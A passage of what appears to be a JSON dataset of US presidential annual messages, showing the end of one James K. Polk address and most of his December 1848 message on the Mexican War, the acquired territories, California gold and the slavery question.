heads of the other\nExecutive Departments, with such subordinate officers provided by law for\nhis Department as may be required to discharge the additional duties which\nhave been or may be devolved upon him.Congress possess the power of exclusive legislation over the District of\nColumbia, and I commend the interests of its inhabitants to your favorable\nconsideration. The people of this District have no legislative body of\ntheir own, and must confide their local as well as their general interests\nto representatives in whose election they have no voice and over whose\nofficial conduct they have no control. Each member of the National\nLegislature should consider himself as their immediate representative, and\nshould be the more ready to give attention to their interests and wants\nbecause he is not responsible to them. I recommend that a liberal and\ngenerous spirit may characterize your measures in relation to them. I shall\nbe ever disposed to show a proper regard for their wishes and, within\nconstitutional limits, shall at all times cheerfully cooperate with you for\nthe advancement of their welfare.I trust it may not be deemed inappropriate to the occasion for me to dwell\nfor a moment on the memory of the most eminent citizen of our country who\nduring the summer that is gone by has descended to the tomb. The enjoyment\nof contemplating, at the advanced age of near fourscore years, the happy\ncondition of his country cheered the last hours of Andrew Jackson, who\ndeparted this life in the tranquil hope of a blessed immortality. His death\nwas happy, as his life had been eminently useful. He had an unfaltering\nconfidence in the virtue and capacity of the people and in the permanence\nof that free Government which he had largely contributed to establish and\ndefend. His great deeds had secured to him the affections of his\nfellow-citizens, and it was his happiness to witness the growth and glory\nof his country, which he loved so well. He departed amidst the benedictions\nof millions of free-men. The nation paid its tribute to his memory at his\ntomb. Coming generations will learn from his example the love of country\nand the rights of man. In his language on a similar occasion to the\npresent, \"I now commend you, fellow-citizens, to the guidance of Almighty\nGod, with a full reliance on His merciful providence for the maintenance of\nour free institutions, and with an earnest supplication that whatever\nerrors it may be my lot to commit in discharging the arduous duties which\nhave devolved on me will find a remedy in the harmony and wisdom of your\ncounsels.\"JAMES K. POLK", 
+    "name": "James Polk"
+}
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+{
+    "date": "December 5, 1848", 
+    "speech": "Fellow-Citizens of the Senate and of the House of Representatives:Under the benignant providence of Almighty God the representatives of the\nStates and of the people are again brought together to deliberate for the\npublic good. The gratitude of the nation to the Sovereign Arbiter of All\nHuman Events should be commensurate with the boundless blessings which we\nenjoy.Peace, plenty, and contentment reign throughout our borders, and our\nbeloved country presents a sublime moral spectacle to the world.The troubled and unsettled condition of some of the principal European\npowers has had a necessary tendency to check and embarrass trade and to\ndepress prices throughout all commercial nations, but notwithstanding these\ncauses, the United States, with their abundant products, have felt their\neffects less severely than any other country, and all our great interests\nare still prosperous and successful.In reviewing the great events of the past year and contrasting the agitated\nand disturbed state of other countries with our own tranquil and happy\ncondition, we may congratulate ourselves that we are the most favored\npeople on the face of the earth. While the people of other countries are\nstruggling to establish free institutions, under which man may govern\nhimself, we are in the actual enjoyment of them--a rich inheritance from\nour fathers. While enlightened nations of Europe are convulsed and\ndistracted by civil war or intestine strife, we settle all our political\ncontroversies by the peaceful exercise of the rights of freemen at the\nballot box.The great republican maxim, so deeply engraven on the hearts of our people,\nthat the will of the majority, constitutionally expressed, shall prevail,\nis our sure safeguard against force and violence. It is a subject of just\npride that our fame and character as a nation continue rapidly to advance\nin the estimation of the civilized world.To our wise and free institutions it is to be attributed that while other\nnations have achieved glory at the price of the suffering, distress, and\nimpoverishment of their people, we have won our honorable position in the\nmidst of an uninterrupted prosperity and of an increasing individual\ncomfort and happiness.I am happy to inform you that our relations with all nations are friendly\nand pacific. Advantageous treaties of commerce have been concluded within\nthe last four years with New Granada, Peru, the Two Sicilies, Belgium,\nHanover, Oldenburg, and Mecklenburg-Schwerin. Pursuing our example, the\nrestrictive system of Great Britain, our principal foreign customer, has\nbeen relaxed, a more liberal commercial policy has been adopted by other\nenlightened nations, and our trade has been greatly enlarged and extended.\nOur country stands higher in the respect of the world than at any former\nperiod. To continue to occupy this proud position, it is only necessary to\npreserve peace and faithfully adhere to the great and fundamental principle\nof our foreign policy of noninterference in the domestic concerns of other\nnations. We recognize in all nations the right which we enjoy ourselves, to\nchange and reform their political institutions according to their own will\nand pleasure. Hence we do not look behind existing governments capable of\nmaintaining their own authority. We recognize all such actual governments,\nnot only from the dictates of true policy, but from a sacred regard for the\nindependence of nations. While this is our settled policy, it does not\nfollow that we can ever be indifferent spectators of the progress of\nliberal principles. The Government and people of the United States hailed\nwith enthusiasm and delight the establishment of the French Republic, as we\nnow hail the efforts in progress to unite the States of Germany in a\nconfederation similar in many respects to our own Federal Union. If the\ngreat and enlightened German States, occupying, as they do, a central and\ncommanding position in Europe, shall succeed in establishing such a\nconfederated government, securing at the same time to the citizens of each\nState local governments adapted to the peculiar condition of each, with\nunrestricted trade and intercourse with each other, it will be an important\nera in the history of human events. Whilst it will consolidate and\nstrengthen the power of Germany, it must essentially promote the cause of\npeace, commerce, civilization, and constitutional liberty throughout the\nworld.With all the Governments on this continent our relations, it is believed,\nare now on a more friendly and satisfactory footing than they have ever\nbeen at any former period.Since the exchange of ratifications of the treaty of peace with Mexico our\nintercourse with the Government of that Republic has been of the most\nfriendly character. The envoy extraordinary and minister plenipotentiary of\nthe United States to Mexico has been received and accredited, and a\ndiplomatic representative from Mexico of similar rank has been received and\naccredited by this Government. The amicable relations between the two\ncountries, which had been suspended, have been happily restored, and are\ndestined, I trust, to be long preserved. The two Republics, both situated\non this continent, and with coterminous territories, have every motive of\nsympathy and of interest to bind them together in perpetual amity.This gratifying condition of our foreign relations renders it unnecessary\nfor me to call your attention more specifically to them.It has been my constant aim and desire to cultivate peace and commerce with\nall nations. Tranquility at home and peaceful relations abroad constitute\nthe true permanent policy of our country. War, the scourge of nations,\nsometimes becomes inevitable, but is always to be avoided when it can be\ndone consistently with the rights and honor of a nation.One of the most important results of the war into which we were recently\nforced with a neighboring nation is the demonstration it has afforded of\nthe military strength of our country. Before the late war with Mexico\nEuropean and other foreign powers entertained imperfect and erroneous views\nof our physical strength as a nation and of our ability to prosecute war,\nand especially a war waged out of out own country. They saw that our\nstanding Army on the peace establishment did not exceed 10,000 men.\nAccustomed themselves to maintain in peace large standing armies for the\nprotection of thrones against their own subjects, as well as against\nforeign enemies, they had not conceived that it was possible for a nation\nwithout such an army, well disciplined and of long service, to wage war\nsuccessfully. They held in low repute our militia, and were far from\nregarding them as an effective force, unless it might be for temporary\ndefensive operations when invaded on our own soil. The events of the late\nwar with Mexico have not only undeceived them, but have removed erroneous\nimpressions which prevailed to some extent even among a portion of our own\ncountrymen. That war has demonstrated that upon the breaking out of\nhostilities not anticipated, and for which no previous preparation had been\nmade, a volunteer army of citizen soldiers equal to veteran troops, and in\nnumbers equal to any emergency, can in a short period be brought into the\nfield. Unlike what would have occurred in any other country, we were under\nno necessity of resorting to drafts or conscriptions. On the contrary, such\nwas the number of volunteers who patriotically tendered their services that\nthe chief difficulty was in making selections and determining who should be\ndisappointed and compelled to remain at home. Our citizen soldiers are\nunlike those drawn from the population of any other country. They are\ncomposed indiscriminately of all professions and pursuits--of farmers,\nlawyers, physicians, merchants, manufacturers, mechanics, and laborers--and\nthis not only among the officers, but the private soldiers in the ranks.\nOur citizen soldiers are unlike those of any other country in other\nrespects. They are armed, and have been accustomed from their youth up to\nhandle and use firearms, and a large proportion of them, especially in the\nWestern and more newly settled States, are expert marksmen. They are men\nwho have a reputation to maintain at home by their good conduct in the\nfield. They are intelligent, and there is an individuality of character\nwhich is found in the ranks of no other army. In battle each private man,\nas well as every officer, rights not only for his country, but for glory\nand distinction among his fellow-citizens when he shall return to civil\nlife.The war with Mexico has demonstrated not only the ability of the Government\nto organize a numerous army upon a sudden call, but also to provide it with\nall the munitions and necessary supplies with dispatch, convenience, and\nease, and to direct its operations with efficiency. The strength of our\ninstitutions has not only been displayed in the valor and skill of our\ntroops engaged in active service in the field, but in the organization of\nthose executive branches which were charged with the general direction and\nconduct of the war. While too great praise can not be bestowed upon the\nofficers and men who fought our battles, it would be unjust to withhold\nfrom those officers necessarily stationed at home, who were charged with\nthe duty of furnishing the Army in proper time and at proper places with\nall the munitions of war and other supplies so necessary to make it\nefficient, the commendation to which they are entitled. The credit due to\nthis class of our officers is the greater when it is considered that no\narmy in ancient or modern times was even better appointed or provided than\nour Army in Mexico. Operating in an enemy's country, removed 2,000 miles\nfrom the seat of the Federal Government, its different corps spread over a\nvast extent of territory, hundreds and even thousands of miles apart from\neach other, nothing short of the untiring vigilance and extraordinary\nenergy of these officers could have enabled them to provide the Army at all\npoints and in proper season with all that was required for the most\nefficient service.It is but an act of justice to declare that the officers in charge of the\nseveral executive bureaus, all under the immediate eye and supervision of\nthe Secretary of War, performed their respective duties with ability,\nenergy, and efficiency. They have reaped less of the glory of the war, not\nhaving been personally exposed to its perils in battle, than their\ncompanions in arms; but without their forecast, efficient aid, and\ncooperation those in the field would not have been provided with the ample\nmeans they possessed of achieving for themselves and their country the\nunfading honors which they have won for both.When all these facts are considered, it may cease to be a matter of so much\namazement abroad how it happened that our noble Army in Mexico, regulars\nand volunteers, were victorious upon every battlefield, however fearful the\nodds against them.The war with Mexico has thus fully developed the capacity of republican\ngovernments to prosecute successfully a just and necessary foreign war with\nall the vigor usually attributed to more arbitrary forms of government. It\nhas been usual for writers on public law to impute to republics a want of\nthat unity, concentration of purpose, and vigor of execution which are\ngenerally admitted to belong to the monarchical and aristocratic forms; and\nthis feature of popular government has been supposed to display itself more\nparticularly in the conduct of a war carried on in an enemy's territory.\nThe war with Great Britain in 1812 was to a great extent confined within\nour own limits, and shed but little light on this subject; but the war\nwhich we have just closed by an honorable peace evinces beyond all doubt\nthat a popular representative government is equal to any emergency which is\nlikely to arise in the affairs of a nation.The war with Mexico has developed most strikingly and conspicuously another\nfeature in our institutions. It is that without cost to the Government or\ndanger to our liberties we have in the bosom of our society of freemen,\navailable in a just and necessary war, virtually a standing army of\n2,000,000 armed citizen soldiers, such as fought the battles of Mexico. But\nour military strength does not consist alone in our capacity for extended\nand successful operations on land. The Navy is an important arm of the\nnational defense. If the services of the Navy were not so brilliant as\nthose of the Army in the late war with Mexico, it was because they had no\nenemy to meet on their own element. While the Army had opportunity of\nperforming more conspicuous service, the Navy largely participated in the\nconduct of the war. Both branches of the service performed their whole duty\nto the country. For the able and gallant services of the officers and men\nof the Navy, acting independently as well as in cooperation with our\ntroops, in the conquest of the Californias, the capture of Vera Cruz, and\nthe seizure and occupation of other important positions on the Gulf and\nPacific coasts, the highest praise is due. Their vigilance, energy, and\nskill rendered the most effective service in excluding munitions of war and\nother supplies from the enemy, while they secured a safe entrance for\nabundant supplies for our own Army. Our extended commerce was nowhere\ninterrupted, and for this immunity from the evils of war the country is\nindebted to the Navy.High praise is due to the officers of the several executive bureaus,\nnavy-yards, and stations connected with the service, all under the\nimmediate direction of the Secretary of the Navy, for the industry,\nforesight, and energy with which everything was directed and furnished to\ngive efficiency to that branch of the service. The same vigilance existed\nin directing the operations of the Navy as of the Army. There was concert\nof action and of purpose between the heads of the two arms of the service.\nBy the orders which were from time to time issued, our vessels of war on\nthe Pacific and the Gulf of Mexico were stationed in proper time and in\nproper positions to cooperate efficiently with the Army. By this means\ntheir combined power was brought to bear successfully on the enemy.The great results which have been developed and brought to light by this\nwar will be of immeasurable importance in the future progress of our\ncountry. They will tend powerfully to preserve us from foreign collisions,\nand to enable us to pursue uninterruptedly our cherished policy of \"peace\nwith all nations, entangling alliances with none.\"Occupying, as we do, a more commanding position among nations than at any\nformer period, our duties and our responsibilities to ourselves and to\nposterity are correspondingly increased. This will be the more obvious when\nwe consider the vast additions which have been recently made to our\nterritorial possessions and their great importance and value.Within less than four years the annexation of Texas to the Union has been\nconsummated; all conflicting title to the Oregon Territory south of the\nforty-ninth degree of north latitude, being all that was insisted on by any\nof my predecessors, has been adjusted, and New Mexico and Upper California\nhave been acquired by treaty. The area of these several Territories,\naccording to a report carefully prepared by the Commissioner of the General\nLand Office from the most authentic information in his possession, and\nwhich is herewith transmitted, contains 1,193,061 square miles, or\n763,559,040 acres; while the area of the remaining twenty-nine States and\nthe territory not yet organized into States east of the Rocky Mountains\ncontains 2,059,513 square miles, or 1,318,126,058 acres. These estimates\nshow that the territories recently acquired, and over which our exclusive\njurisdiction and dominion have been extended, constitute a country more\nthan half as large as all that which was held by the United States before\ntheir acquisition. If Oregon be excluded from the estimate, there will\nstill remain within the limits of Texas, New Mexico, and California 851,598\nsquare miles, or 545,012,720 acres, being an addition equal to more than\none-third of all the territory owned by the United States before their\nacquisition, and, including Oregon, nearly as great an extent of territory\nas the whole of Europe, Russia only excepted. The Mississippi, so lately\nthe frontier of our country, is now only its center. With the addition of\nthe late acquisitions, the United States are now estimated to be nearly as\nlarge as the whole of Europe. It is estimated by the Superintendent of the\nCoast Survey in the accompanying report that the extent of the seacoast of\nTexas on the Gulf of Mexico is upward of 400 miles; of the coast of Upper\nCalifornia on the Pacific, of 970 miles, and of Oregon, including the\nStraits of Fuca, of 650 miles, making the whole extent of seacoast on the\nPacific 1,620 miles and the whole extent on both the Pacific and the Gulf\nof Mexico 2,020 miles. The length of the coast on the Atlantic from the\nnorthern limits of the United States around the capes of Florida to the\nSabine, on the eastern boundary of Texas, is estimated to be 3,100 miles;\nso that the addition of seacoast, including Oregon, is very nearly\ntwo-thirds as great as all we possessed before, and, excluding Oregon, is\nan addition of 1,370 miles, being nearly equal to one-half of the extent of\ncoast which we possessed before these acquisitions. We have now three great\nmaritime fronts--on the Atlantic, the Gulf of Mexico, and the\nPacific--making in the whole an extent of seacoast exceeding 5,000 miles.\nThis is the extent of the seacoast of the United States, not including\nbays, sounds, and small irregularities of the main shore and of the sea\nislands. If these be included, the length of the shore line of coast, as\nestimated by the Superintendent of the Coast Survey in his report, would be\n33,063 miles.It would be difficult to calculate the value of these immense additions to\nour territorial possessions. Texas, lying contiguous to the western\nboundary of Louisiana, embracing within its limits a part of the navigable\ntributary waters of the Mississippi and an extensive seacoast, could not\nlong have remained in the hands of a foreign power without endangering the\npeace of our southwestern frontier. Her products in the vicinity of the\ntributaries of the Mississippi must have sought a market through these\nstreams, running into and through our territory, and the danger of\nirritation and collision of interests between Texas as a foreign state and\nourselves would have been imminent, while the embarrassments in the\ncommercial intercourse between them must have been constant and\nunavoidable. Had Texas fallen into the hands or under the influence and\ncontrol of a strong maritime or military foreign power, as she might have\ndone, these dangers would have been still greater. They have been avoided\nby her voluntary and peaceful annexation to the United States. Texas, from\nher position, was a natural and almost indispensable part of our\nterritories. Fortunately, she has been restored to our country, and now\nconstitutes one of the States of our Confederacy, \"upon an equal footing\nwith the original States.\" The salubrity of climate, the fertility of soil,\npeculiarly adapted to the production of some of our most valuable staple\ncommodities, and her commercial advantages must soon make her one of our\nmost populous States.New Mexico, though situated in the interior and without a seacoast, is\nknown to contain much fertile land, to abound in rich mines of the precious\nmetals, and to be capable of sustaining a large population. From its\nposition it is the intermediate and connecting territory between our\nsettlements and our possessions in Texas and those on the Pacific Coast.Upper California, irrespective of the vast mineral wealth recently\ndeveloped there, holds at this day, in point of value and importance, to\nthe rest of the Union the same relation that Louisiana did when that fine\nterritory was acquired from France forty-five years ago. Extending nearly\nten degrees of latitude along the Pacific, and embracing the only safe and\ncommodious harbors on that coast for many hundred miles, with a temperate\nclimate and an extensive interior of fertile lands, it is scarcely possible\nto estimate its wealth until it shall be brought under the government of\nour laws and its resources fully developed. From its position it must\ncommand the rich commerce of China, of Asia, of the islands of the Pacific,\nof western Mexico, of Central America, the South American States, and of\nthe Russian possessions bordering on that ocean. A great emporium will\ndoubtless speedily arise on the Californian coast which may be destined to\nrival in importance New Orleans itself. The depot of the vast commerce\nwhich must exist on the Pacific will probably be at some point on the Bay\nof San Francisco, and will occupy the same relation to the whole western\ncoast of that ocean as New Orleans does to the valley of the Mississippi\nand the Gulf of Mexico. To this depot our numerous whale ships will resort\nwith their cargoes to trade, refit, and obtain supplies. This of itself\nwill largely contribute to build up a city, which would soon become the\ncenter of a great and rapidly increasing commerce. Situated on a safe\nharbor, sufficiently capacious for all the navies as well as the marine of\nthe world, and convenient to excellent timber for shipbuilding, owned by\nthe United States, it must become our great Western naval depot.It was known that mines of the precious metals existed to a considerable\nextent in California at the time of its acquisition. Recent discoveries\nrender it probable that these mines are more extensive and valuable than\nwas anticipated. The accounts of the abundance of gold in that territory\nare of such an extraordinary character as would scarcely command belief\nwere they not corroborated by the authentic reports of officers in the\npublic service who have visited the mineral district and derived the facts\nwhich they detail from personal observation. Reluctant to credit the\nreports in general circulation as to the quantity of gold, the officer\ncommanding our forces in California visited the mineral district in July\nlast for the purpose of obtaining accurate information on the subject. His\nreport to the War Department of the result of his examination and the facts\nobtained on the spot is herewith laid before Congress. When he visited the\ncountry there were about 4,000 persons engaged in collecting gold. There is\nevery reason to believe that the number of persons so employed has since\nbeen augmented. The explorations already made warrant the belief that the\nsupply is very large and that gold is found at various places in an\nextensive district of country.Information received from officers of the Navy and other sources, though\nnot so full and minute, confirms the accounts of the commander of our\nmilitary force in California. It appears also from these reports that mines\nof quicksilver are found in the vicinity of the gold region. One of them is\nnow being worked, and is believed to be among the most productive in the\nworld.The effects produced by the discovery of these rich mineral deposits and\nthe success which has attended the labors of those who have resorted to\nthem have produced a surprising change in the state of affairs in\nCalifornia. Labor commands a most exorbitant price, and all other pursuits\nbut that of searching for the precious metals are abandoned. Nearly the\nwhole of the male population of the country have gone to the gold\ndistricts. Ships arriving on the coast are deserted by their crews and\ntheir voyages suspended for want of sailors. Our commanding officer there\nentertains apprehensions that soldiers can not be kept in the public\nservice without a large increase of pay. Desertions in his command have\nbecome frequent, and he recommends that those who shall withstand the\nstrong temptation and remain faithful should be rewarded.This abundance of gold and the all-engrossing pursuit of it have already\ncaused in California an unprecedented rise in the price of all the\nnecessaries of life.That we may the more speedily and fully avail ourselves of the undeveloped\nwealth of these mines, it is deemed of vast importance that a branch of the\nMint of the United States be authorized to be established at your present\nsession in California. Among other signal advantages which would result\nfrom such an establishment would be that of raising the gold to its par\nvalue in that territory. A branch mint of the United States at the great\ncommercial depot on the west coast would convert into our own coin not only\nthe gold derived from our own rich mines, but also the bullion and specie\nwhich our commerce may bring from the whole west coast of Central and South\nAmerica. The west coast of America and the adjacent interior embrace the\nrichest and best mines of Mexico, New Granada, Central America, Chili, and\nPeru. The bullion and specie drawn from these countries, and especially\nfrom those of western Mexico and Peru, to an amount in value of many\nmillions of dollars, are now annually diverted and carried by the ships of\nGreat Britain to her own ports, to be recoined or used to sustain her\nnational bank, and thus contribute to increase her ability to command so\nmuch of the commerce of the world. If a branch mint be established at the\ngreat commercial point upon that coast, a vast amount of bullion and specie\nwould flow thither to be recoined, and pass thence to New Orleans, New\nYork, and other Atlantic cities. The amount of our constitutional currency\nat home would be greatly increased, while its circulation abroad would be\npromoted. It is well known to our merchants trading to China and the west\ncoast of America that great inconvenience and loss are experienced from the\nfact that our coins are not current at their par value in those countries.The powers of Europe, far removed from the west coast of America by the\nAtlantic Ocean, which intervenes, and by a tedious and dangerous navigation\naround the southern cape of the continent of America, can never\nsuccessfully compete with the United States in the rich and extensive\ncommerce which is opened to us at so much less cost by the acquisition of\nCalifornia.The vast importance and commercial advantages of California have heretofore\nremained undeveloped by the Government of the country of which it\nconstituted a part. Now that this fine province is a part of our country,\nall the States of the Union, some more immediately and directly than\nothers, are deeply interested in the speedy development of its wealth and\nresources. No section of our country is more interested or will be more\nbenefited than the commercial, navigating, and manufacturing interests of\nthe Eastern States. Our planting and farming interests in every part of the\nUnion will Be greatly benefited by it. As our commerce and navigation are\nenlarged and extended, our exports of agricultural products and of\nmanufactures will be increased, and in the new markets thus opened they can\nnot fail to command remunerating and profitable prices.The acquisition of California and New Mexico, the settlement of the Oregon\nboundary, and the annexation of Texas, extending to the Rio Grande, are\nresults which, combined, are of greater consequence and will add more to\nthe strength and wealth of the nation than any which have preceded them\nsince the adoption of the Constitution.But to effect these great results not only California, but New Mexico, must\nbe brought under the control of regularly organized governments. The\nexisting condition of California and of that part of New Mexico lying west\nof the Rio Grande and without the limits of Texas imperiously demands that\nCongress should at its present session organize Territorial governments\nover them.Upon the exchange of ratifications of the treaty of peace with Mexico, on\nthe 30th of May last, the temporary governments which had been established\nover New Mexico and California by our military and naval commanders by\nvirtue of the rights of war ceased to derive any obligatory force from that\nsource of authority, and having been ceded to the United States, all\ngovernment and control over them under the authority of Mexico had ceased\nto exist. Impressed with the necessity of establishing Territorial\ngovernments over them, I recommended the subject to the favorable\nconsideration of Congress in my message communicating the ratified treaty\nof peace, on the 6th of July last, and invoked their action at that\nsession. Congress adjourned without making any provision for their\ngovernment. The inhabitants by the transfer of their country had become\nentitled to the benefit of our laws and Constitution, and yet were left\nwithout any regularly organized government. Since that time the very\nlimited power possessed by the Executive has been exercised to preserve and\nprotect them from the inevitable consequences of a state of anarchy. The\nonly government which remained was that established by the military\nauthority during the war. Regarding this to be a de facto government, and\nthat by the presumed consent of the inhabitants it might be continued\ntemporarily, they were advised to conform and submit to it for the short\nintervening period before Congress would again assemble and could legislate\non the subject. The views entertained by the Executive on this point are\ncontained in a communication of the Secretary of State dated the 7th of\nOctober last, which was forwarded for publication to California and New\nMexico, a copy of which is herewith transmitted. The small military force\nof the Regular Army which was serving within the limits of the acquired\nterritories at the close of the war was retained in them, and additional\nforces have been ordered there for the protection of the inhabitants and to\npreserve and secure the rights and interests of the United States.No revenue has been or could be collected at the ports in California,\nbecause Congress failed to authorize the establishment of custom-houses or\nthe appointment of officers for that purpose.The Secretary of the Treasury, by a circular letter addressed to collectors\nof the customs on the 7th day of October last, a copy of which is herewith\ntransmitted, exercised all the power with which he was invested by law.In pursuance of the act of the 14th of August last, extending the benefit\nof our post-office laws to the people of California, the Postmaster-General\nhas appointed two agents, who have proceeded, the one to California and the\nother to Oregon, with authority to make the necessary arrangements for\ncarrying its provisions into effect.The monthly line of mail steamers from Panama to Astoria has been required\nto \"stop and deliver and take mails at San Diego, Monterey, and San\nFrancisco.\" These mail steamers, connected by the Isthmus of Panama with\nthe line of mail steamers on the Atlantic between New York and Chagres,\nwill establish a regular mail communication with California.It is our solemn duty to provide with the least practicable delay for New\nMexico and California regularly organized Territorial governments. The\ncauses of the failure to do this at the last session of Congress are well\nknown and deeply to be regretted. With the opening prospects of increased\nprosperity and national greatness which the acquisition of these rich and\nextensive territorial possessions affords, how irrational it would be to\nforego or to reject these advantages by the agitation of a domestic\nquestion which is coeval with the existence of our Government itself, and\nto endanger by internal strifes, geographical divisions, and heated\ncontests for political power, or for any other cause, the harmony of the\nglorious Union of our confederated States--that Union which binds us\ntogether as one people, and which for sixty years has been our shield and\nprotection against every danger. In the eyes of the world and of posterity\nhow trivial and insignificant will be all our internal divisions and\nstruggles compared with the preservation of this Union of the States in all\nits vigor and with all its countless blessings! No patriot would foment and\nexcite geographical and sectional divisions. No lover of his country would\ndeliberately calculate the value of the Union. Future generations would\nlook in amazement upon the folly of such a course. Other nations at the\npresent day would look upon it with astonishment, and such of them as\ndesire to maintain and perpetuate thrones and monarchical or aristocratical\nprinciples will view it with exultation and delight, because in it they\nwill see the elements of faction, which they hope must ultimately overturn\nour system. Ours is the great example of a prosperous and free\nself-governed republic, commanding the admiration and the imitation of all\nthe lovers of freedom throughout the world. How solemn, therefore, is the\nduty, how impressive the call upon us and upon all parts of our country, to\ncultivate a patriotic spirit of harmony, of good-fellowship, of compromise\nand mutual concession, in the administration of the incomparable system of\ngovernment formed by our fathers in the midst of almost insuperable\ndifficulties, and transmitted to us with the injunction that we should\nenjoy its blessings and hand it down unimpaired to those who may come after\nus.In view of the high and responsible duties which we owe to ourselves and to\nmankind, I trust you may be able at your present session to approach the\nadjustment of the only domestic question which seriously threatens, or\nprobably ever can threaten, to disturb the harmony and successful\noperations of our system.The immensely valuable possessions of New Mexico and California are already\ninhabited by a considerable population. Attracted by their great fertility,\ntheir mineral wealth, their commercial advantages, and the salubrity of the\nclimate, emigrants from the older States in great numbers are already\npreparing to seek new homes in these inviting regions. Shall the\ndissimilarity of the domestic institutions in the different States prevent\nus from providing for them suitable governments? These institutions existed\nat the adoption of the Constitution, but the obstacles which they\ninterposed were overcome by that spirit of compromise which is now invoked.\nIn a conflict of opinions or of interests, real or imaginary, between\ndifferent sections of our country, neither can justly demand all which it\nmight desire to obtain. Each, in the true spirit of our institutions,\nshould concede something to the other.Our gallant forces in the Mexican war, by whose patriotism and unparalleled\ndeeds of arms we obtained these possessions as an indemnity for our just\ndemands against Mexico, were composed of citizens who belonged to no one\nState or section of our Union. They were men from slaveholding and\nnonslaveholding States, from the North and the South, from the East and the\nWest. They were all companions in arms and fellow-citizens of the same\ncommon country, engaged in the same common cause. When prosecuting that war\nthey were brethren and friends, and shared alike with each other common\ntoils, dangers, and sufferings. Now, when their work is ended, when peace\nis restored, and they return again to their homes, put off the habiliments\nof war, take their places in society, and resume their pursuits in civil\nlife, surely a spirit of harmony and concession and of equal regard for the\nrights of all and of all sections of the Union ought to prevail in\nproviding governments for the acquired territories--the fruits of their\ncommon service. The whole people of the United States, and of every State,\ncontributed to defray the expenses of that war, and it would not be just\nfor any one section to exclude another from all participation in the\nacquired territory. This would not be in consonance with the just system of\ngovernment which the framers of the Constitution adopted.The question is believed to be rather abstract than practical whether\nslavery ever can or would exist in any portion of the acquired territory\neven if it were left to the option of the slaveholding States themselves.\nFrom the nature of the climate and productions in much the larger portion\nof it it is certain it could never exist, and in the remainder the\nprobabilities are it would not. But however this may be, the question,\ninvolving, as it does, a principle of equality of rights of the separate\nand several States as equal copartners in the Confederacy, should not be\ndisregarded.In organizing governments over these territories no duty imposed on\nCongress by the Constitution requires that they should legislate on the\nsubject of slavery, while their power to do so is not only seriously\nquestioned, but denied by many of the soundest expounders of that\ninstrument. Whether Congress shall legislate or not, the people of the\nacquired territories, when assembled in convention to form State\nconstitutions, will possess the sole and exclusive power to determine for\nthemselves whether slavery shall or shall not exist within their limits. If\nCongress shall abstain from interfering with the question, the people of\nthese territories will be left free to adjust it as they may think proper\nwhen they apply for admission as States into the Union. No enactment of\nCongress could restrain the people of any of the sovereign States of the\nUnion, old or new, North or South, slaveholding or nonslaveholding, from\ndetermining the character of their own domestic institutions as they may\ndeem wise and proper. Any and all the States possess this right, and\nCongress can not deprive them of it. The people of Georgia might if they\nchose so alter their constitution as to abolish slavery within its limits,\nand the people of Vermont might so alter their constitution as to admit\nslavery within its limits. Both States would possess the right, though, as\nall know, it is not probable that either would exert it.It is fortunate for the peace and harmony of the Union that this question\nis in its nature temporary and can only continue for the brief period which\nwill intervene before California and New Mexico may be admitted as States\ninto the Union. From the tide of population now flowing into them it is\nhighly probable that this will soon occur.Considering the several States and the citizens of the several States as\nequals and entitled to equal rights under the Constitution, if this were an\noriginal question it might well be insisted on that the principle of\nnoninterference is the true doctrine and that Congress could not, in the\nabsence of any express grant of power, interfere with their relative\nrights. Upon a great emergency, however, and under menacing dangers to the\nUnion, the Missouri compromise line in respect to slavery was adopted. The\nsame line was extended farther west in the acquisition of Texas. After an\nacquiescence of nearly thirty years in the principle of compromise\nrecognized and established by these acts, and to avoid the danger to the\nUnion which might follow if it were now disregarded, I have heretofore\nexpressed the opinion that that line of compromise should be extended on\nthe parallel of 36  30' from the western boundary of Texas, where it\nnow terminates, to the Pacific Ocean. This is the middle ground of\ncompromise, upon which the different sections of the Union may meet, as\nthey have heretofore met. If this be done, it is confidently believed a\nlarge majority of the people of every section of the country, however\nwidely their abstract opinions on the subject of slavery may differ, would\ncheerfully and patriotically acquiesce in it, and peace and harmony would\nagain fill our borders.The restriction north of the line was only yielded to in the case of\nMissouri and Texas upon a principle of compromise, made necessary for the\nsake of preserving the harmony and possibly the existence of the Union.It was upon these considerations that at the close of your last session I\ngave my sanction to the principle of the Missouri compromise line by\napproving and signing the bill to establish \"the Territorial government of\nOregon.\" From a sincere desire to preserve the harmony of the Union, and in\ndeference for the acts of my predecessors, I felt constrained to yield my\nacquiescence to the extent to which they had gone in compromising this\ndelicate and dangerous question. But if Congress shall now reverse the\ndecision by which the Missouri compromise was effected, and shall propose\nto extend the restriction over the whole territory, south as well as north\nof the parallel of 36  30', it will cease to be a compromise, and must\nbe regarded as an original question.If Congress, instead of observing the course of noninterference, leaving\nthe adoption of their own domestic institutions to the people who may\ninhabit these territories, or if, instead of extending the Missouri\ncompromise line to the Pacific, shall prefer to submit the legal and\nconstitutional questions which may arise to the decision of the judicial\ntribunals, as was proposed in a bill which passed the Senate at your last\nsession, an adjustment may be effected in this mode. If the whole subject\nbe referred to the judiciary, all parts of the Union should cheerfully\nacquiesce in the final decision of the tribunal created by the Constitution\nfor the settlement of all questions which may arise under the Constitution,\ntreaties, and laws of the United States.Congress is earnestly invoked, for the sake of the Union, its harmony, and\nour continued prosperity as a nation, to adjust at its present session\nthis, the only dangerous question which lies in our path, if not in some\none of the modes suggested, in some other which may be satisfactory.In anticipation of the establishment of regular governments over the\nacquired territories, a joint commission of officers of the Army and Navy\nhas been ordered to proceed to the coast of California and Oregon for the\npurpose of making reconnoissances and a report as to the proper sites for\nthe erection of fortifications or other defensive works on land and of\nsuitable situations for naval stations. The information which may be\nexpected from a scientific and skillful examination of the whole face of\nthe coast will be eminently useful to Congress when they come to consider\nthe propriety of making appropriations for these great national objects.\nProper defenses on land will be necessary for the security and protection\nof our possessions, and the establishment of navy-yards and a dock for the\nrepair and construction of vessels will be important alike to our Navy and\ncommercial marine. Without such establishments every vessel, whether of the\nNavy or of the merchant service, requiring repair must at great expense\ncome round Cape Horn to one of our Atlantic yards for that purpose. With\nsuch establishments vessels, it is believed may be built or repaired as\ncheaply in California as upon the Atlantic coast. They would give\nemployment to many of our enterprising shipbuilders and mechanics and\ngreatly facilitate and enlarge our commerce in the Pacific.As it is ascertained that mines of gold, silver, copper, and quicksilver\nexist in New Mexico and California, and that nearly all the lands where\nthey are found belong to the United States, it is deemed important to the\npublic interest that provision be made for a geological and mineralogical\nexamination of these regions. Measures should be adopted to preserve the\nmineral lands, especially such as contain the precious metals, for the use\nof the United States, or, if brought into market, to separate them from the\nfarming lands and dispose of them in such manner as to secure a 